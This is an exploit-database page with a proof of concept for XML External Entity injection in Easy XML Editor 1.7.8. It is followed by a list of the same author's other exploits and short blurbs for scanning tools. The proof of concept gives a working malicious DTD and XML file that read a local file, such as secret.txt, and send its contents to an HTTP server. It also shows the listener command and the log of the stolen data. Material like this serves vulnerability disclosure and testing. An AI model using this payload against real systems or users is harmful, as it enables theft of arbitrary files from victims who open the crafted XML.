Search for hundreds of thousands of exploits

"Easy XML Editor 1.7.8 - XML External Entity Injection"

Author

Exploit author

"Javier Olmedo"

Platform

Exploit platform

xml

Release date

Exploit published date

2020-01-20

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Exploit Title: Easy XML Editor 1.7.8 - XML External Entity Injection
# Exploit Author: Javier Olmedo
# Date: 2018-11-21
# Vendor: Richard Wuerflein
# Software Link: https://www.edit-xml.com/Easy_XML_Editor.exe
# Affected Version: 1.7.8 and before
# Patched Version: unpatched
# Category: Local
# Platform: XML
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/611.html
# CVE: 2019-19031
# References:
# https://hackpuntes.com/cve-2019-19031-easy-xml-editor-1-7-8-inyeccion-xml/
 
# 1. Technical Description
# Easy XML Editor version 1.7.8 and before are affected by XML External Entity Injection vulnerability
# through the malicious XML file. This allows a malicious user to read arbitrary files.
 
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection.

python -m SimpleHTTPServer 80

# 2.2 Upload the payload.dtd file to your web server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

# 2.3 Create a SECRET.TXT file with any content in desktop.

# 2.4 Open poc.xml

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\<USER>\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 13, november 2019 - [RESEARCHER] Discover
# 13, november 2019 - [RESEARCHER] Report to vendor support
# 14, november 2019 - [DEVELOPER]  Unrecognized vulnerability
# 15, november 2019 - [RESEARCHER] Detailed vulnerability report
# 22, november 2019 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo
Release DateTitleTypePlatformAuthor
2020-03-02"Joplin Desktop 1.0.184 - Cross-Site Scripting"webappsmultiple"Javier Olmedo"
2020-01-29"XMLBlueprint 16.191112 - XML External Entity Injection"localwindows"Javier Olmedo"
2020-01-20"Easy XML Editor 1.7.8 - XML External Entity Injection"localxml"Javier Olmedo"
2019-08-26"WordPress Plugin Import Export WordPress Users 1.3.1 - CSV Injection"webappsphp"Javier Olmedo"
2019-03-26"Rukovoditel ERP & CRM 2.4.1 - 'path' Cross-Site Scripting"webappsphp"Javier Olmedo"
2018-12-19"Integria IMS 5.0.83 - Cross-Site Request Forgery"webappsphp"Javier Olmedo"
2018-12-19"Integria IMS 5.0.83 - 'search_string' Cross-Site Scripting"webappsphp"Javier Olmedo"
2018-12-03"PHP Server Monitor 3.3.1 - Cross-Site Request Forgery"webappsphp"Javier Olmedo"
2018-11-26"Ticketly 1.0 - 'kind_id' SQL Injection"webappsphp"Javier Olmedo"
2018-11-21"Ticketly 1.0 - 'name' SQL Injection"webappsphp"Javier Olmedo"
2018-11-20"Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Javier Olmedo"
2018-09-06"Jorani Leave Management 0.6.5 - Cross-Site Scripting"webappsphp"Javier Olmedo"
2018-09-06"Jorani Leave Management 0.6.5 - (Authenticated) 'startdate' SQL Injection"webappsphp"Javier Olmedo"
2018-08-27"Sentrifugo HRMS 3.2 - 'deptid' SQL Injection"webappswindows"Javier Olmedo"
2018-08-16"WordPress Plugin Export Users to CSV 1.1.1 - CSV Injection"webappsphp"Javier Olmedo"
2018-07-19"WordPress Plugin All In One Favicon 4.6 - (Authenticated) Cross-Site Scripting"webappsphp"Javier Olmedo"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47945/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.